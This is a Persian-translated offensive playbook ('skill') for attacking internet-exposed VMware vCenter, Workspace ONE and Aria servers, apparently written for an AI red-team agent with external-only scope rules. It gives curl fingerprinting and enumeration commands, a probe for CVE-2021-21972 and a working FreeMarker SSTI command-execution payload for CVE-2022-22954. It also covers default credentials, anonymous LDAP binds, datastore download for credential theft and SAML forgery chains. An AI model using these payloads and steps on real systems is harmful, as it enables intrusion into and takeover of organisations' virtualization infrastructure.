vmware-vcenter-attack

skillupstreamپلتفرم سازمانیگزارش: ۱۰۳۰ کیلوبایت۲۰ بخش

‏ماتریس حمله‌ی بیرونی VMware vSphere / vCenter Server — نسخه‌سنجی، زنجیره‌ی CVEهای پراثر ‏(CVE-2021-21972 آپلود فایل ناشناس vRealize، CVE-2021-21985 مربوط به پلاگین vSAN، CVE-2022-22954 مربوط به Workspace ONE)، credentialهای پیش‌فرض و سطوح MOB/SDK.

توضیح انگلیسی اصلی (مرجع)

VMware vSphere / vCenter Server external attack matrix — version fingerprinting, the high-impact CVE chain (CVE-2021-21972 vRealize unauth file upload, CVE-2021-21985 vSAN plugin RCE, CVE-2022-22954 Workspace ONE SSTI, CVE-2023-20887 Aria RCE, CVE-2024-37085 ESXi AD bypass, CVE-2023-34048 vCenter DCERPC OOB write APT-exploited), default credentials, SSO configuration disclosure, vmdir LDAP enumeration, ESXi Open SLP RCE history. ONLY for vCenter / Workspace ONE / Aria instances exposed to the internet — internal-network vCenter is out of scope per the external-only boundary. Use when recon shows port 443 with vCenter banner, `/ui` redirect, `/websso/SAML2/Metadata`, or VMware product fingerprints.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

سطح حمله و سیگنال‌ها

When to use
ترجمه‌ی کامل ✓بخش ۱ از ۲۰

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏تریگر وقتی recon بیرونی هرکدام را نشان دهد:

  • ‏بنر: «VMware vCenter Server»، «VMware vSphere Client»
  • ‏مسیرهای URL: /ui، /ui/login، /websso/SAML2/Metadata، /sdk، /mob ‏(Managed Object Browser)
  • ‏فیلد SAN مربوط به سرتیفیکیت TLS شامل vcenter / vsphere / vcsa / psc / vmware
  • ‏‏Workspace ONE Access / Identity Manager: /SAAS، /SAAS/auth، /SAAS/login، /SAAS/horizon
  • ‏‏VMware Aria / vRealize: /vco، /vco-controlcenter، /orchestrator، /lcm/api/v1
  • ‏‏Horizon View: /portal، /admin

‏برای این‌ها استفاده نکن:

  • ‏vCenter شبکه‌داخلی ‏(خارج از اسکوپ — انضباط مرز بیرونی)
  • ‏هایپروایزر ESXi خالی افشاشده بدون صفحه‌ی مدیریت ‏(نادر روی اینترنت؛ به‌عنوان یافته‌ی جدا فلگ کن)
۲

سطح حمله و سیگنال‌ها

Step 1 — Version fingerprinting
ترجمه‌ی کامل ✓بخش ۲ از ۲۰

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

TARGET="vcenter.target.com"

# Build info endpoint (often public; revealing exact patch level)
curl -sk "https://$TARGET/sdk/vimServiceVersions.xml"

# UI build (visible in page source)
curl -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}'
curl -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'

# REST API version (vSphere 7+)
curl -sk "https://$TARGET/api/appliance/system/version"

# Cert metadata
echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"

# SSO Admin Service (info disclosure)
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"

‏نگاشت build ← نسخه ← قابلیت‌اعمال CVE از طریق ادوایزوری‌های VMware ‏(vmware.com/security/advisories).

۳

اهداف ارزشمند

Step 2 — CVE matrix (external-exploitable, sorted by historical impact)
ترجمه‌ی کامل ✓بخش ۳ از ۲۰

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏CVEدرگیروکتوروضعیت
‏CVE-2024-37085‏ESXi 7.0/8.0 < پچ مشخصدورزدن auto-admin گروه AD به نام «ESX Admins»‏High — تصرف دامین←‏RCE مربوط به ESXi، بهره‌برداری‌شده در عملیات باج‌افزار
‏CVE-2024-22273کنترلر استوریج ESXi/Workstation/Fusion/vCenter‏OOB read/write — به دسترسی VM-local نیاز دارد ‏(‏SSRF شبکه‌ی pre-auth نیست؛ بخش ۹ را ببین)‏Important ‏(CVSS 8.1)، بیرونی pre-auth نیست
‏CVE-2024-22252/53‏Workstation/Fusion ‏(نه vCenter)فرار سندباکسبیرونی نیست
‏CVE-2023-34048‏vCenter 7/8 < build مشخصنوشتن OOB heap مربوط به DCE/RPC پیش-احراز ← RCE‏Critical، پچ‌شده ۲۰۲۳-۱۰
‏CVE-2023-20887‏Aria Operations for Networksتزریق دستور پیش-احراز ← RCE‏Critical
‏CVE-2023-20892‏vCenter 7/8‏use-after-free در DCE/RPC‏High
‏CVE-2022-31656/31659‏Workspace ONE Access 21.x‏SSRF پیش-احراز + دورزدن authزنجیره‌ی Critical
‏CVE-2022-22954‏Workspace ONE Accessتزریق template سمت‌سرور پیش-احراز ‏(SSTI) ← RCE‏Critical، بهره‌برداری گسترده
‏CVE-2021-22005‏vCenter 6.7/7.0 < buildآپلود فایل پیش-احراز سرویس Analytics ← RCE‏Critical
‏CVE-2021-21985‏vCenter 6.5/6.7/7.0 < build‏RCE پیش-احراز پلاگین vSAN Health Check‏Critical
‏CVE-2021-21972‏vCenter 6.5/6.7/7.0 < buildآپلود فایل پیش-احراز پلاگین vRealize یعنی /ui/vropspluginui/rest/services/uploadova ← RCE‏Critical، بهره‌برداری سنگین
‏CVE-2020-3992‏OpenSLP مربوط به ESXi‏use-after-free پیش-احراز ← RCE‏Critical، وکتور باج‌افزار ESXi
‏CVE-2019-5544‏OpenSLP مربوط به ESXiسرریز heap پیش-احراز‏Critical
۴

بخش تکمیلی

Step 3 — CVE-2021-21972 probe (still common on stale appliances)
ترجمه‌ی کامل ✓بخش ۴ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

# Detection only — DO NOT execute the file upload without explicit scope OK
curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/uploadova"
# 405 → endpoint exists, version vulnerable
# 404 → patched (endpoint removed)
# 401 → patched (auth required)

curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/getstatus"

‏PoC عمومی توسط Mikhail Klyuchnikov هست؛ بدون تایید صریح برای تلاش-RCE روی زیرساخت کلاینت اجرا نکن.

۵

بخش تکمیلی

Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probe
ترجمه‌ی کامل ✓بخش ۵ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

# Stage A — detection only: reachability + baseline. No command execution yet.
curl -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n" \
  "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"
# 4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.
# 404 → patched/removed. Keep the baseline body to diff against Stage B.

# Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary
# so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.
CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')"
curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"echo ${CANARY}; id\")}"
# Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output
# that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).

‏RCE تأییدشده به بازتاب in-band مربوط به $CANARY یکتا به‌علاوه‌ی خروجی uid= که در baseline مربوط به Stage-A نیست نیاز دارد ← critical. توقف کن و گزارش بده. یک uid= خالی بدون echo مربوط به canary تأیید نیست.

۶

بخش تکمیلی

Step 5 — Default credentials (frequently still valid on lab/staging vCenters)
ترجمه‌ی کامل ✓بخش ۶ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

محصولکاربر پیش‌فرضپسورد پیش‌فرض
‏vCenter 6.xadministrator@vsphere.local<set-during-install>
‏root مربوط به vCenter Appliancerootvmware ‏(legacy) یا <set>
‏root مربوط به ESXiroot<blank> یا vmware
‏vCenter Server Appliance Mgmt ‏(۵۴۸۰)root<set-during-install>
‏Aria Operationsadminvmware ‏(legacy)
‏Workspace ONEadmin<set>

‏⚠ روی vCenter اسپری نکن — administrator@vsphere.local آستانه‌ی lockout خیلی پایینی دارد ‏(اغلب ۳ تلاش ← قفل ۶۰ثانیه‌ای، قابل‌کانفیگ به دائمی). فقط یک تلاش با حدس اطمینان‌بالا. از credهای کشف‌شده در کرپوس breach استفاده کن.

۷

سطح حمله و سیگنال‌ها

Step 6 — SSO / vmdir LDAP enumeration
ترجمه‌ی کامل ✓بخش ۷ از ۲۰

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏enumerate مربوط به SSO / LDAP مربوط به vmdir:

# SSO Admin endpoint (frequently exposes domain info)
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -

# Extract Identity Source info
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"

# Try anonymous LDAP bind to vmdir (port 389/636 if exposed)
ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base
ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"
۸

بخش تکمیلی

Step 7 — Managed Object Browser (MOB) — frequently leaks data
ترجمه‌ی کامل ✓بخش ۸ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏مرورگر Managed Object ‏(MOB) — مرتب داده لو می‌دهد:

curl -skI "https://$TARGET/mob"
# 401 → auth required (good for the defender)
# 200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs

# Auth'd MOB lets you walk the entire vSphere tree:
curl -sk -u 'administrator@vsphere.local:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"
۹

سطح حمله و سیگنال‌ها

Step 8 — vSphere REST API enumeration (post-cred)
ترجمه‌ی کامل ✓بخش ۹ از ۲۰

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏enumerate مربوط به REST API مربوط به vSphere ‏(بعد-از-cred):

# Get session token
curl -sk -X POST -u 'user@vsphere.local:<pw>' "https://$TARGET/api/session"
# Returns: "<session-token>"

# List VMs
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"

# List hosts
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"

# List datastores
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"

# Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)
# /folder/<path>?dsName=<ds>&dcPath=<dc>
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"
۱۰

بخش تکمیلی

Step 9 — Workspace ONE Access specific paths
ترجمه‌ی کامل ✓بخش ۱۰ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏مسیرهای مخصوص Workspace ONE Access:

# Metadata
curl -sk "https://$TARGET/SAAS/auth/saml/response"
curl -sk "https://$TARGET/SAAS/auth/wsfed/services/idp"
curl -sk "https://$TARGET/SAAS/jersey/manager/api/health"
curl -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"

# Login page
curl -sk "https://$TARGET/SAAS/login/0"
۱۱

بخش تکمیلی

Step 10 — Aria / vRealize specific paths
ترجمه‌ی کامل ✓بخش ۱۱ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏مسیرهای مخصوص Aria / vRealize:

# vRealize Operations Manager
curl -sk "https://$TARGET/suite-api/api/versions"
curl -sk "https://$TARGET/casa/nodes/thumbprints"

# Aria Automation
curl -sk "https://$TARGET/csp/gateway/am/api/about"
curl -sk "https://$TARGET/cluster-administration/api/health"

# vRealize Orchestrator
curl -sk "https://$TARGET/vco/api/about"
curl -sk "https://$TARGET/vco-controlcenter/api/health"
۱۲

ابزار و نکات عملیاتی

Tooling
ترجمه‌ی کامل ✓بخش ۱۲ از ۲۰

ابزارهای کمکی، نصب، خروجی‌های مورد انتظار و یادداشت‌های اپراتور

  • ‏مجموعه‌ی vCenter-Exploit ‏(چند PoC روی GitHub برای 21972، 21985، 22005)
  • ‏پلاگین‌های NASL مربوط به Greenbone/openvas-scanner برای VMware — تشخیص نسخه
  • ‏تمپلیت‌های nuclei: vmware-vcenter-*.yaml، cve-2021-21972.yaml، cve-2022-22954.yaml
  • ‏ماژول‌های Metasploit: exploit/multi/http/vmware_vcenter_*
۱۳

Payload و الگوهای تشخیص

Detection patterns (what defenders/SOC will see)
ترجمه‌ی کامل ✓بخش ۱۳ از ۲۰

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

  • ‏تعداد زیاد ۴۰۴ روی /ui/vropspluginui/* — امضای IDS
  • ‏درخواست POST به /sdk از IP غیر-مدیریتی
  • ‏شکست‌های auth مربوط به administrator@vsphere.local
  • ‏تغییرهای fingerprint مربوط به handshake TLS
  • ‏آپلود پلاگین به endpoint مربوط به vRealize

‏جفت با اسکیل mid-engagement-ir-detection — vCenter در SOCهای بالغ سنگین مانیتور می‌شود.

اسکیل‌های مرتبط:
۱۴

بخش تکمیلی

External-only boundary check
ترجمه‌ی کامل ✓بخش ۱۴ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏اگر recon مقدار vCenter را فقط از طریق VPN نشان دهد ‏(نه اینترنت مستقیم) ← توقف. آن زیرساخت داخلی است و طبق feedback_skill_boundaries خارج از اسکوپ فقط-بیرونی AI. کاربر کار vCenter داخلی را مستقیم انجام می‌دهد.

‏vCenter اینترنت-افشاشده متأسفانه روی perimeter رایج است — و مرتب سال‌ها outdated. سه‌گانه‌ی 2021-21972 / 21985 / 22954 هنوز در ۲۰۲۶ می‌پردازد چون چرخه‌های patching برای مدیریت هایپروایزر کند و vendor-managed هستند.

۱۵

بخش تکمیلی

Severity scoring guidance (red-team deliverable context)
ترجمه‌ی کامل ✓بخش ۱۵ از ۲۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

یافتهشدت
‏vCenter روی اینترنت، پچ جاری‏Informational ‏(نوت سطح حمله)
‏vCenter روی اینترنت، پچ‌های جاافتاده با RCE عمومیبحرانی ‏(compromise کل صفحه‌ی مجازی‌سازی)
‏vCenter روی اینترنت + پسورد admin پیش‌فرضبحرانی ‏(تصرف فوری کامل)
‏Workspace ONE روی اینترنت، 22954 unpatchبحرانی
‏MOB ناشناس قابل‌دسترسHigh ‏(افشای کامل توپولوژی)
‏‏/sdk قابل‌دسترس + فقط افشای نسخهMedium ‏(افشای اطلاعات + تمرکز سطح حمله)
۱۶

Payload و الگوهای تشخیص

Anti-patterns
ترجمه‌ی کامل ✓بخش ۱۶ از ۲۰

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

  • ‏روی SSO مربوط به vCenter اسپری نکن — lockout تهاجمی است؛ اغلب یک فرصت
  • ‏‏PoCهای file-upload را بدون OK صریح اجرا نکن — وب‌شل‌های پایدار می‌سازند؛ سربار پاک‌سازی و رد audit
  • ‏‏ESXi-management-روی-اینترنت را با vCenter اشتباه نگیر — سطوح حمله متفاوت؛ CVEهای Open SLP مربوط به ESXi پورت ۴۲۷ را هدف می‌گیرند
  • ‏چک بنر handshake مربوط به SSL را جا نینداز — VMware نسخه‌ها را آنجا افشا می‌کند؛ این کم‌نویزترین probe اولیه است
۱۷

دروازه‌ی اعتبارسنجی

Bridge to neighboring skills
ترجمه‌ی کامل ✓بخش ۱۷ از ۲۰

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏اسکیل enterprise-vpn-attack — vCenter مرتب تارگت بعد-از-VPN است؛ اگر VPN بشکافته شود، vCenter pivot طبیعی بعدی است ‏(ولی داخلی — به کاربر واگذار کن)
  • ‏اسکیل m365-entra-attack — بعضی دیپلوی‌ها SSO مربوط به vCenter را به Entra federate می‌کنند؛ پل cred-chain
  • ‏اسکیل mid-engagement-ir-detection — مانیتورینگ vCenter حساس است؛ تخفیف‌های میان-engagement را انتظار داشته باش
  • ‏اسکیل redteam-report-template — یافته‌های vCenter به قاب‌بندی شفاف شعاع-انفجار نیاز دارند ‏(این صفحه‌ی مجازی‌سازی است، نه فقط یک اپ)
مراحل استخراج‌شده
  1. ۱‏اسکیل `enterprise-vpn-attack` — vCenter مرتب تارگت بعد-از-VPN است؛ اگر VPN بشکافته شود، vCenter pivot طبیعی بعدی است ‏(ولی داخلی — به کاربر واگذار کن)
  2. ۲‏اسکیل `m365-entra-attack` — بعضی دیپلوی‌ها SSO مربوط به vCenter را به Entra federate می‌کنند؛ پل cred-chain
  3. ۳‏اسکیل `mid-engagement-ir-detection` — مانیتورینگ vCenter حساس است؛ تخفیف‌های میان-engagement را انتظار داشته باش
  4. ۴‏اسکیل `redteam-report-template` — یافته‌های vCenter به قاب‌بندی شفاف شعاع-انفجار نیاز دارند ‏(این صفحه‌ی مجازی‌سازی است، نه فقط یک اپ)
۱۸

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۱۸ از ۲۰

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏اسکیل hunt-saml — محصولات vCenter Workspace ONE / VMware Identity Manager متادیتای SAML SP را در /SAAS/API/1.0/GET/metadata/idp.xml منتشر می‌کنند و assertionها را در URLهای قابل‌پیش‌بینی ACS مصرف می‌کنند. primitive زنجیره: متادیتای SAML SP مربوط به vCenter قابل‌دسترس ← ‏IdP انگشت‌نگاری‌شده ← حملات XSW1-XSW8 مربوط به hunt-saml علیه IdP مربوط به federating ← assertion جعلی با userPrincipalName=administrator@vsphere.local ← impersonation مربوط به SP به‌عنوان admin مربوط به vCenter ← تصرف کامل صفحه‌ی مجازی‌سازی.
  • ‏اسکیل hunt-rce — کاتالوگ CVEهای پراثر VMware ‏(CVE-2021-21972، CVE-2021-21985، CVE-2022-22954، CVE-2023-20887) تقریباً کاملاً RCE پیش-احراز است. primitive زنجیره: نسخه‌سنجی vCenter از بنر SSL یا body مربوط به /ui/login ← تأیید جاافتادگی سطح پچ ← gadget مربوط به deserialization/SSTI از PoC مربوط به CVE مچ‌شده ← root روی appliance مربوط به vCenter ← صدور API-token ← کنترل VM در سطح خوشه.
  • ‏اسکیل enterprise-vpn-attack — compromise مربوط به VPN + vCenter روی فقط-داخلی pivot طبیعی بعد-از-VPN است، ولی اسکوپ engagement فقط-بیرونی گاهی آن را ممنوع می‌کند. primitive زنجیره: CVE مربوط به appliance مربوط به VPN ← foothold داخل شبکه‌ی corp ← اگر اسکوپ اجازه دهد، vmware-vcenter-attack روی vCenter فقط-داخلی reachable می‌شود ← تصرف دیتاسنتر.
  • ‏اسکیل m365-entra-attack — بعضی دیپلوی‌های VMware مقدار SSO مربوط به vCenter را به Entra federate می‌کنند. primitive زنجیره: کشف SSO مربوط به vCenter ← ‏AuthURL به login.microsoftonline.com اشاره می‌کند ← ‏ATO مربوط به Entra روی هویت sync‌شده‌ی administrator@vsphere.local ← assertion مربوط به SAML ← admin مربوط به vCenter بدون هیچ بروت‌فورسی روی SSO مربوط به vCenter.
  • ‏اسکیل mid-engagement-ir-detection — هشدارهای VMware vSAN/vCenter حساس‌اند؛ انتظار داشته باش SOC ظرف ساعت‌های تشخیص پچ یا بلاک کند. primitive زنجیره: CVE مربوط به vCenter تأییدشده ← capture مربوط به baseline با mid-engagement-ir-detection قبل از تلاش بهره‌برداری ← اگر الگوهای پاسخ وسط تست تغییر کرد، state مربوط به SOC-patch را به‌عنوان یافته‌ی دوم بگیر ‏(اکشن دفاعی مشاهده‌شده). هر دو را با redteam-report-template بسته‌بندی کن.
مراحل استخراج‌شده
  1. ۱‏اسکیل `hunt-rce` — کاتالوگ CVEهای پراثر VMware ‏(CVE-2021-21972، CVE-2021-21985، CVE-2022-22954، CVE-2023-20887) تقریباً کاملاً RCE پیش-احراز است. primitive زنجیره: نسخه‌سنجی vCenter از بنر SSL یا body مربوط به `/ui/login` ← تأیید جاافتادگی سطح پچ ← gadget مربوط به deserialization/SSTI از PoC مربوط به CVE مچ‌شده ← `root` روی appliance مربوط به vCenter ← صدور API-token ← کنترل VM در سطح خوشه.
  2. ۲‏اسکیل `enterprise-vpn-attack` — compromise مربوط به VPN + vCenter روی فقط-داخلی pivot طبیعی بعد-از-VPN است، ولی اسکوپ engagement فقط-بیرونی گاهی آن را ممنوع می‌کند. primitive زنجیره: CVE مربوط به appliance مربوط به VPN ← foothold داخل شبکه‌ی corp ← اگر اسکوپ اجازه دهد، `vmware-vcenter-attack` روی vCenter فقط-داخلی reachable می‌شود ← تصرف دیتاسنتر.
  3. ۳‏اسکیل `m365-entra-attack` — بعضی دیپلوی‌های VMware مقدار SSO مربوط به vCenter را به Entra federate می‌کنند. primitive زنجیره: کشف SSO مربوط به vCenter ← ‏AuthURL به `login.microsoftonline.com` اشاره می‌کند ← ‏ATO مربوط به Entra روی هویت sync‌شده‌ی `administrator@vsphere.local` ← assertion مربوط به SAML ← admin مربوط به vCenter بدون هیچ بروت‌فورسی روی SSO مربوط به vCenter.
۱۹

نمونه‌های واقعی و impact

Disclosed CVEs & coordinated-disclosure citations
ترجمه‌ی کامل ✓بخش ۱۹ از ۲۰

سناریوها و گزارش‌های افشاشده که الگوی باگ و اثر واقعی را نشان می‌دهند

‏این‌ها مراجع عمومی باربر برای هر CVE صدا زده‌شده در ماتریس بالا هستند. هر مدخل شامل ادوایزوری وندور، نوشته‌ی محقق مبدأ یا مدخل کاتالوگ KEV و ‏(جایی که عمومی است) مراجع بهره‌برداری in-the-wild است.

‏### ۱. ‏CVE-2021-21972 — آپلود فایل دلخواه ناشناس در vropspluginui مربوط به vCenter ‏(RCE پیش-احراز کانونیک)

  • ‏درگیر: ‏vCenter Server 6.5 < 6.5 U3n، 6.7 < 6.7 U3l، 7.0 < 7.0 U1c ‏(پلاگین vCenter مربوط به vRealize Operations با هر نصب پیش‌فرض همراه است — واریانت لینوکس یا ویندوز برای payload مهم است). VMware Cloud Foundation 3.x/4.x هم همراه می‌کند.
  • ‏فلوی حمله: ‏POST ناشناس به /ui/vropspluginui/rest/services/uploadova با tar/OVA حاوی entry مربوط به path-traversal. روی ویندوز webshell.jsp زیر webroot مربوط به vsphere-ui برای SYSTEM بنویس؛ روی لینوکس authorized_keys زیر /home/vsphere-ui/.ssh/ بگذار و SSH بزن.
  • ‏علت ریشه‌ای: endpoint افشاشده توسط پلاگین vRealize Operations فاقد هر فیلتر احراز هویتی بود؛ هندلر uploadova مسیرهای entry آرشیو را پاک‌سازی نمی‌کرد.
  • ‏افشا: گزارش توسط Mikhail Klyuchnikov ‏(Positive Technologies / PT SWARM) در پاییز ۲۰۲۰؛ ادوایزوری + پچ در ۲۰۲۱-۰۲-۲۳ به‌عنوان VMSA-2021-0002 منتشر شد؛ ‏PoC روی GitHub روز بعد اسکن انبوه را تریگر کرد. CISA KEV: افزوده‌شده ۲۰۲۱-۱۱-۰۳. سال کشف ۲۰۲۰، پچ‌شده ۲۰۲۱.
  • ‏مراجع: https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23599 ؛ https://swarm.ptsecurity.com/unauth-rce-vmware/ ؛ https://www.tenable.com/blog/cve-2021-21972-vmware-vcenter-server-remote-code-execution-vulnerability ؛ https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972

‏### ۲. ‏CVE-2021-21985 — ‏RCE پیش-احراز پلاگین vSAN Health Check مربوط به vCenter

  • ‏درگیر: ‏vCenter Server 6.5 < 6.5 U3p، 6.7 < 6.7 U3n، 7.0 < 7.0 U2b ‏(پلاگین vSAN Health Check به‌صورت پیش‌فرض فعال است، خواه vSAN استفاده شود یا نه).
  • ‏فلوی حمله: سوءاستفاده‌ی ناشناس از ProxygenController در پلاگین vSAN Health ← reflection ناامن Java زنجیره‌شده با primitive مربوط به SSRF ← فراخوانی متد دلخواه به‌عنوان vsphere-ui ← اجرای دستور.
  • ‏علت ریشه‌ای: اعتبارسنجی ورودی مفقود + sink خطرناک reflection قابل‌دسترس از سطح REST ناشناس.
  • ‏افشا: گزارش توسط Ricter Z ‏(Yang Hao) از 360 Noah Lab؛ ادوایزوری VMSA-2021-0010 منتشرشده در ۲۰۲۱-۰۵-۲۵. ‏PoC عمومی و ماژول Metasploit ظرف چند روز آمد؛ هانی‌پات‌ها بهره‌برداری فعال دیدند. سال کشف ۲۰۲۱، پچ‌شده ۲۰۲۱.
  • ‏مراجع: https://www.vmware.com/security/advisories/VMSA-2021-0010.html ؛ https://noahblog.360.cn/vcenter-server-rce/ ‏(نوشته‌ی Ricter Z) ؛ https://www.rapid7.com/db/modules/exploit/linux/http/vmware_vcenter_vsan_health_rce/ ؛ https://www.bleepingcomputer.com/news/security/vmware-warns-of-critical-bug-affecting-all-vcenter-server-installs/

‏### ۳. ‏CVE-2021-22005 — آپلود فایل دلخواه سرویس Analytics مربوط به vCenter ← RCE

  • ‏درگیر: ‏vCenter Server 6.7 < 6.7 U3o، 7.0 < 7.0 U2d. ‏vCenter همراه Cloud Foundation 3.x/4.x.
  • ‏فلوی حمله: ‏POST ناشناس به endpoint مربوط به Analytics روی پورت ۴۴۳ ‏(/analytics/telemetry/ph/api/hyper/send) فایل کنترل‌شده‌ی مهاجم را بیرون دایرکتوری موردنظر می‌نویسد؛ با سوءاستفاده‌ی بعدی سرویس برای رسیدن به RCE به‌عنوان اکانت سرویس vCenter زنجیره می‌شود.
  • ‏علت ریشه‌ای: endpoint مربوط به Analytics/CEIP آپلود فایل را احراز نمی‌کرد و مسیر مقصد را اعتبارسنجی نمی‌کرد.
  • ‏افشا: ادوایزوری VMSA-2021-0020 مربوط به VMware منتشرشده ۲۰۲۱-۰۹-۲۱. ‏PoC کارکرده توسط @testanull / @wvu ظرف ~۷۲ ساعت آزاد شد؛ ‏CISA هشدار اضطراری در ۲۰۲۱-۰۹-۲۴ صادر کرد. CISA KEV: افزوده‌شده ۲۰۲۱-۱۱-۰۳. سال کشف ۲۰۲۱، پچ‌شده ۲۰۲۱.
  • ‏مراجع: https://www.vmware.com/security/advisories/VMSA-2021-0020.html ؛ https://www.cisa.gov/news-events/alerts/2021/09/24/vmware-vcenter-server-vulnerability-cve-2021-22005-under-active-exploit ؛ https://www.rapid7.com/blog/post/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/ ؛ https://www.bleepingcomputer.com/news/security/working-exploit-released-for-vmware-vcenter-cve-2021-22005-bug/

‏### ۴. ‏CVE-2022-22954 — ‏SSTI مربوط به FreeMarker در Workspace ONE Access / Identity Manager ← RCE

  • ‏درگیر: ‏Workspace ONE Access 21.08.0.1، 21.08.0.0، 20.10.0.1، 20.10.0.0؛ Identity Manager 3.3.3 ← 3.3.6؛ vRealize Automation 7.6.
  • ‏فلوی حمله: ‏GET ناشناس به /catalog-portal/ui/oauth/verify?deviceUdid=${...} تمپلیت FreeMarker تزریق می‌کند؛ freemarker.template.utility.Execute دستورهای OS را به‌عنوان اکانت سرویس horizon اجرا می‌کند. ‏RCE تک-درخواست.
  • ‏علت ریشه‌ای: endpoint مربوط به catalog-portal پارامتر query کنترل‌شده‌ی مهاجم را بدون sandbox کردن ابزار Execute به رندر FreeMarker پاس می‌داد.
  • ‏افشا: گزارش توسط Steven Seeley ‏(mr_me) از Source Incite؛ ادوایزوری VMSA-2022-0011 مربوط به VMware منتشرشده ۲۰۲۲-۰۴-۰۶. ‏PoCها ظرف ۴۸ ساعت عمومی شدند؛ بهره‌برداری انبوه گسترده دنبال کرد. CISA KEV: افزوده‌شده ۲۰۲۲-۰۴-۱۴. ‏CISA AA22-138B ‏(مه ۲۰۲۲) engagementهای IR در «سازمان‌های بزرگ» بهره‌برداری‌شده از این CVE را مستند می‌کند. سال کشف ۲۰۲۲، پچ‌شده ۲۰۲۲.
  • ‏مراجع: https://www.vmware.com/security/advisories/VMSA-2022-0011.html ؛ https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-138b ؛ https://srcincite.io/blog/2022/04/19/cve-2022-22954-vmware-workspace-one-access-pre-auth-rce.html ؛ https://www.crowdsec.net/blog/new-surge-in-vmware-cve-2022-22954-exploit-attempts

‏### ۵. ‏CVE-2022-22972 — دورزدن احراز هویت Host-header در Workspace ONE Access / Identity Manager / vRealize Automation

  • ‏درگیر: ‏Workspace ONE Access 21.08.0.1؛ Identity Manager 3.3.3–3.3.6؛ vRealize Automation 7.6 ‏(و باندل‌های downstream مربوط به Cloud Foundation).
  • ‏فلوی حمله: هدر HTTP مربوط به Host را حین فلوی login دامنه‌محلی دست‌کاری کن؛ سرور درخواست اعتبارسنجی داخلی‌اش را به hostname کنترل‌شده‌ی مهاجم روت می‌کند ← session مربوط به admin بدون credential مشروع برمی‌گرداند.
  • ‏علت ریشه‌ای: هدر Host بدون اعتبارسنجی به‌عنوان مقصد درخواست auth-validation داخلی استفاده شد — ‏SSRF-به-خود کلاسیک با ارتقای اعتماد.
